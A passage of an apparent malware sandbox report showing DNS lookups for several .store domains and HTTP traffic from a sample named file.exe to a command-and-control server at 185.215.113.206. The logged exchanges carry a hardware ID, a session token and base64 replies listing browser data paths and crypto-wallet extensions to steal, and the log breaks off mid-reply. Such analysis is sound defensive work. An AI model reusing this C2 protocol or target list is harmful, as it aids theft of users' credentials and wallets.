Nov 8, 2024 15:22:09.847048998 CET	192.168.2.8	1.1.1.1	0xa21f	Standard query (0)	founpiuer.store	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:26.584252119 CET	192.168.2.8	1.1.1.1	0x3154	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:26.793438911 CET	192.168.2.8	1.1.1.1	0x7ac	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:26.820846081 CET	192.168.2.8	1.1.1.1	0x3589	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:26.846810102 CET	192.168.2.8	1.1.1.1	0x53f8	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:26.871330976 CET	192.168.2.8	1.1.1.1	0x1c49	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:26.896770954 CET	192.168.2.8	1.1.1.1	0xb76a	Standard query (0)	founpiuer.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 8, 2024 15:20:44.700078964 CET	1.1.1.1	192.168.2.8	0x45f8	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 8, 2024 15:20:44.700114965 CET	1.1.1.1	192.168.2.8	0x68dc	No error (0)	www.google.com		142.250.186.100	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:20:49.638361931 CET	1.1.1.1	192.168.2.8	0x3acc	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 8, 2024 15:20:49.638361931 CET	1.1.1.1	192.168.2.8	0x3acc	No error (0)	plus.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:20:49.638480902 CET	1.1.1.1	192.168.2.8	0x6dee	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 8, 2024 15:20:50.639801979 CET	1.1.1.1	192.168.2.8	0xff28	No error (0)	play.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:01.968925953 CET	1.1.1.1	192.168.2.8	0x1b7	No error (0)	svc.ha-teams.office.com	svc.ms-acdc-teams.office.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 8, 2024 15:21:01.968925953 CET	1.1.1.1	192.168.2.8	0x1b7	No error (0)	svc.ms-acdc-teams.office.com		52.123.242.159	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:01.968925953 CET	1.1.1.1	192.168.2.8	0x1b7	No error (0)	svc.ms-acdc-teams.office.com		52.123.242.151	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:01.968925953 CET	1.1.1.1	192.168.2.8	0x1b7	No error (0)	svc.ms-acdc-teams.office.com		52.123.242.183	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:01.968925953 CET	1.1.1.1	192.168.2.8	0x1b7	No error (0)	svc.ms-acdc-teams.office.com		52.123.242.138	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:02.062309027 CET	1.1.1.1	192.168.2.8	0xd423	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 8, 2024 15:21:02.062684059 CET	1.1.1.1	192.168.2.8	0xf022	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 8, 2024 15:21:02.140268087 CET	1.1.1.1	192.168.2.8	0xd5d4	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 8, 2024 15:21:02.140633106 CET	1.1.1.1	192.168.2.8	0x69f0	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 8, 2024 15:21:02.140633106 CET	1.1.1.1	192.168.2.8	0x69f0	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:03.321784019 CET	1.1.1.1	192.168.2.8	0xf61	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 8, 2024 15:21:03.322496891 CET	1.1.1.1	192.168.2.8	0x6735	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 8, 2024 15:21:05.171139956 CET	1.1.1.1	192.168.2.8	0xbf44	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:05.171139956 CET	1.1.1.1	192.168.2.8	0xbf44	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:05.171205044 CET	1.1.1.1	192.168.2.8	0xdf8d	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 8, 2024 15:21:05.171597958 CET	1.1.1.1	192.168.2.8	0xe57d	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:05.171597958 CET	1.1.1.1	192.168.2.8	0xe57d	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:05.171608925 CET	1.1.1.1	192.168.2.8	0xb6e8	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 8, 2024 15:21:05.195328951 CET	1.1.1.1	192.168.2.8	0x6c51	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 8, 2024 15:21:05.195328951 CET	1.1.1.1	192.168.2.8	0x6c51	No error (0)	googlehosted.l.googleusercontent.com		172.217.16.129	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:05.195580959 CET	1.1.1.1	192.168.2.8	0x2218	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 8, 2024 15:21:05.198748112 CET	1.1.1.1	192.168.2.8	0xad3a	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:05.198748112 CET	1.1.1.1	192.168.2.8	0xad3a	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:05.199610949 CET	1.1.1.1	192.168.2.8	0x7df3	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 8, 2024 15:21:05.207812071 CET	1.1.1.1	192.168.2.8	0xae94	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:05.207812071 CET	1.1.1.1	192.168.2.8	0xae94	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:05.207812071 CET	1.1.1.1	192.168.2.8	0xae94	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:05.207812071 CET	1.1.1.1	192.168.2.8	0xae94	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:05.219043970 CET	1.1.1.1	192.168.2.8	0x2879	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 8, 2024 15:21:05.219065905 CET	1.1.1.1	192.168.2.8	0xa042	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 8, 2024 15:21:05.219940901 CET	1.1.1.1	192.168.2.8	0x8782	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 8, 2024 15:21:05.220271111 CET	1.1.1.1	192.168.2.8	0x57ec	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 8, 2024 15:21:05.250683069 CET	1.1.1.1	192.168.2.8	0x47a1	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 8, 2024 15:21:05.251554012 CET	1.1.1.1	192.168.2.8	0xa2a6	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 8, 2024 15:21:08.471086025 CET	1.1.1.1	192.168.2.8	0xeac7	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 8, 2024 15:21:08.471086025 CET	1.1.1.1	192.168.2.8	0xeac7	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:08.471371889 CET	1.1.1.1	192.168.2.8	0xe98f	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 8, 2024 15:21:09.664321899 CET	1.1.1.1	192.168.2.8	0x7f72	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 8, 2024 15:21:11.533257008 CET	1.1.1.1	192.168.2.8	0x9300	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 8, 2024 15:21:11.533257008 CET	1.1.1.1	192.168.2.8	0x9300	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:12.545047045 CET	1.1.1.1	192.168.2.8	0x9300	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 8, 2024 15:21:12.545047045 CET	1.1.1.1	192.168.2.8	0x9300	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:13.547306061 CET	1.1.1.1	192.168.2.8	0x9300	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 8, 2024 15:21:13.547306061 CET	1.1.1.1	192.168.2.8	0x9300	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:15.549350977 CET	1.1.1.1	192.168.2.8	0x9300	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 8, 2024 15:21:15.549350977 CET	1.1.1.1	192.168.2.8	0x9300	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:19.558197021 CET	1.1.1.1	192.168.2.8	0x9300	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 8, 2024 15:21:19.558197021 CET	1.1.1.1	192.168.2.8	0x9300	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:57.294034004 CET	1.1.1.1	192.168.2.8	0x4594	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:57.324341059 CET	1.1.1.1	192.168.2.8	0xc81d	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:57.349409103 CET	1.1.1.1	192.168.2.8	0x2cba	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:57.374648094 CET	1.1.1.1	192.168.2.8	0x28c	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:57.400551081 CET	1.1.1.1	192.168.2.8	0xcf77	Name error (3)	necklacedmny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:57.426609993 CET	1.1.1.1	192.168.2.8	0x3bb5	Name error (3)	founpiuer.store	none	none	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:57.484112978 CET	1.1.1.1	192.168.2.8	0x5dee	No error (0)	navygenerayk.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:57.484112978 CET	1.1.1.1	192.168.2.8	0x5dee	No error (0)	navygenerayk.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:07.105482101 CET	1.1.1.1	192.168.2.8	0xd39a	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:07.105482101 CET	1.1.1.1	192.168.2.8	0xd39a	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:07.105612993 CET	1.1.1.1	192.168.2.8	0xfaac	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 8, 2024 15:22:07.110932112 CET	1.1.1.1	192.168.2.8	0x84fa	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 8, 2024 15:22:07.110941887 CET	1.1.1.1	192.168.2.8	0x8765	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:07.110941887 CET	1.1.1.1	192.168.2.8	0x8765	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:07.111183882 CET	1.1.1.1	192.168.2.8	0xf99f	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:07.111183882 CET	1.1.1.1	192.168.2.8	0xf99f	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:07.111485958 CET	1.1.1.1	192.168.2.8	0x292f	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 8, 2024 15:22:09.729732037 CET	1.1.1.1	192.168.2.8	0x7524	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:09.757354975 CET	1.1.1.1	192.168.2.8	0xde8b	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:09.794308901 CET	1.1.1.1	192.168.2.8	0xfe30	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:09.819442987 CET	1.1.1.1	192.168.2.8	0xd22	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:09.844538927 CET	1.1.1.1	192.168.2.8	0x3fc3	Name error (3)	necklacedmny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:09.872117043 CET	1.1.1.1	192.168.2.8	0xa21f	Name error (3)	founpiuer.store	none	none	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:26.607084990 CET	1.1.1.1	192.168.2.8	0x3154	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:26.817003012 CET	1.1.1.1	192.168.2.8	0x7ac	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:26.843626022 CET	1.1.1.1	192.168.2.8	0x3589	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:26.869091988 CET	1.1.1.1	192.168.2.8	0x53f8	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:26.894490957 CET	1.1.1.1	192.168.2.8	0x1c49	Name error (3)	necklacedmny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:26.919176102 CET	1.1.1.1	192.168.2.8	0xb76a	Name error (3)	founpiuer.store	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	185.215.113.206	80	7596	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 8, 2024 15:20:38.057647943 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 8, 2024 15:20:38.968627930 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:20:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 8, 2024 15:20:38.973511934 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBFBKFBGIIIDGDGCFCGI Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 46 42 47 49 49 49 44 47 44 47 43 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 36 38 31 32 32 33 44 44 41 34 45 37 35 38 38 30 39 30 31 34 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 46 42 47 49 49 49 44 47 44 47 43 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 46 42 47 49 49 49 44 47 44 47 43 46 43 47 49 2d 2d 0d 0a Data Ascii: ------EBFBKFBGIIIDGDGCFCGIContent-Disposition: form-data; name="hwid"C681223DDA4E758809014------EBFBKFBGIIIDGDGCFCGIContent-Disposition: form-data; name="build"tale------EBFBKFBGIIIDGDGCFCGI--
Nov 8, 2024 15:20:39.274873018 CET	407	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:20:39 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 6a 63 78 4e 44 42 68 4e 6a 41 77 4e 44 59 31 4d 7a 64 69 4d 7a 59 7a 59 32 52 68 59 6a 68 68 4e 6d 52 68 4d 6a 6b 30 59 6d 4d 34 4f 57 45 78 59 32 4d 77 4e 57 5a 69 5a 6a 49 35 4e 6a 63 35 4e 7a 42 6d 59 7a 6b 79 4d 44 63 33 59 6a 4d 79 4d 47 51 31 4e 6a 46 6c 4e 54 4a 6a 5a 54 5a 68 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZjcxNDBhNjAwNDY1MzdiMzYzY2RhYjhhNmRhMjk0YmM4OWExY2MwNWZiZjI5Njc5NzBmYzkyMDc3YjMyMGQ1NjFlNTJjZTZhfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 8, 2024 15:20:39.290535927 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIDBKJJDGHDHJKEHJDB Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 37 31 34 30 61 36 30 30 34 36 35 33 37 62 33 36 33 63 64 61 62 38 61 36 64 61 32 39 34 62 63 38 39 61 31 63 63 30 35 66 62 66 32 39 36 37 39 37 30 66 63 39 32 30 37 37 62 33 32 30 64 35 36 31 65 35 32 63 65 36 61 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="token"f7140a60046537b363cdab8a6da294bc89a1cc05fbf2967970fc92077b320d561e52ce6a------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="message"browsers------FIIDBKJJDGHDHJKEHJDB--
Nov 8, 2024 15:20:39.577991009 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:20:39 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Nov 8, 2024 15:20:39.578030109 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Nov 8, 2024 15:20:39.579725981 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAAAAKJKJEBGHJKFHIDG Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 37 31 34 30 61 36 30 30 34 36 35 33 37 62 33 36 33 63 64 61 62 38 61 36 64 61 32 39 34 62 63 38 39 61 31 63 63 30 35 66 62 66 32 39 36 37 39 37 30 66 63 39 32 30 37 37 62 33 32 30 64 35 36 31 65 35 32 63 65 36 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 2d 2d 0d 0a Data Ascii: ------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="token"f7140a60046537b363cdab8a6da294bc89a1cc05fbf2967970fc92077b320d561e52ce6a------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="message"plugins------BAAAAKJKJEBGHJKFHIDG--
Nov 8, 2024 15:20:39.867463112 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:20:39 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 